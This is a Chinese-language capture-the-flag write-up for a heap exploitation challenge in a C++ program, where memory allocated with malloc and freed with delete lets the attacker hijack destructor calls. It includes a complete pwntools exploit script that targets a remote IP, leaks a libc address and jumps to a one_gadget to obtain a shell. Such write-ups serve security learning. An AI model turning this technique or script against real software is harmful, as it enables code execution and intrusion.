a problem interesting

..

时间过去挺久了..一直没时间写wp. 挺有意思的一道题.. 发现自己c++还是做的太少了.

start

程序有5个主要功能:malloc,new,free,delete

analysis

逆向能力太差了搞了半天才知道程序在干啥malloc 和new 功能都是输入长度然后经过计算用malloc/new获得内存然后填上我们的输入. 不同的是结构new有个析构函数: malloc:

        |chunk_size|
--------------------
blank   |input     |
input   |blank     |
input   |input     |
....

new:

lcc=littel_chunk_ct
dc=deconstruction

        |chunk_size|
--------------------
lcc     |dc        |
input   |input     |
dc      |input     |
input   |dc        |
''''

free: free没什么好说的没啥毛病

delete: 从最后一个析构函数开始往前一个个调用

漏洞

整个程序看下来没有单独形成的漏洞.只有malloc free/new delete混用产生的一些问题 首先new 出来的chunk用free回收因为未对齐0x10所以不能利用(我认为的而已哈哈..) 然后是malloc 的chunk用delet回收因为存在析构函数的问题和结构不同的问题(chunk_size会被认为成是littel_chunk_ct所以本来指向chunk尾部的指针指向了远处)所以我们可以再malloc一次在远处填上一些指向我们想要调用的函数的指针的地址.成功劫持执行流

exp

from pwn import *
main=0x0000000004009A0
leak=0x000000000400E10
name=0x000000000602328
def set_name(name):
	p.sendafter("name: ",name)
def cmd(c):
	p.sendlineafter(">> ",str(c))
def add(l,s="1\n"):
	cmd(1)
	p.sendlineafter("string\n",str(l))
	p.sendafter("string\n",s)
def new(l,s):
	cmd(3)
	p.sendlineafter("string\n",str(l))
	p.sendafter("string\n",s)
def free(idx):
	cmd(2)
	p.sendlineafter("string\n",str(idx))
def delete(idx):
	cmd(4)
	p.sendlineafter("string\n",str(idx))
def show(idx):
	cmd(5)
	p.sendlineafter("string\n",str(idx))
context.log_level='debug'
libc=ELF("./candcpp").libc
#p=process("./candcpp")
p=remote("154.8.222.144",9999)
set_name(p64(main)+p64(leak)[:-1]+"\n")
add(0xf,p64(0xdeadbeef)+"\n")
add(0x1b0,"\n")
add(0x1a0,p64(name)+p64(name+8)[:-1]+p64(name+8)+"B"*8+"C"*7+p64(name)+"\n")
delete(0)
base=int(p.readline(),16)-libc.symbols['puts']
log.warning(hex(base))
set_name(p64(0xf02a4+base)+p64(leak)[:-1]+"\n")
add(0xf,p64(0xdeadbeef)+"\n")
add(0x1b0,"\n")
add(0x1a0,p64(name)+p64(0xdeadbeef)[:-1]+p64(name)+"B"*8+"C"*7+p64(0xcafebabe)+"\n")
#gdb.attach(p,'b *0x000000000400DBD')
delete(0)


p.interactive("n132>>")

## 附上 官方分析 感觉自己的C++学得太差了…理解了好久…后来还自作聪明认为malloc delete也是会因为未对齐而无法利用…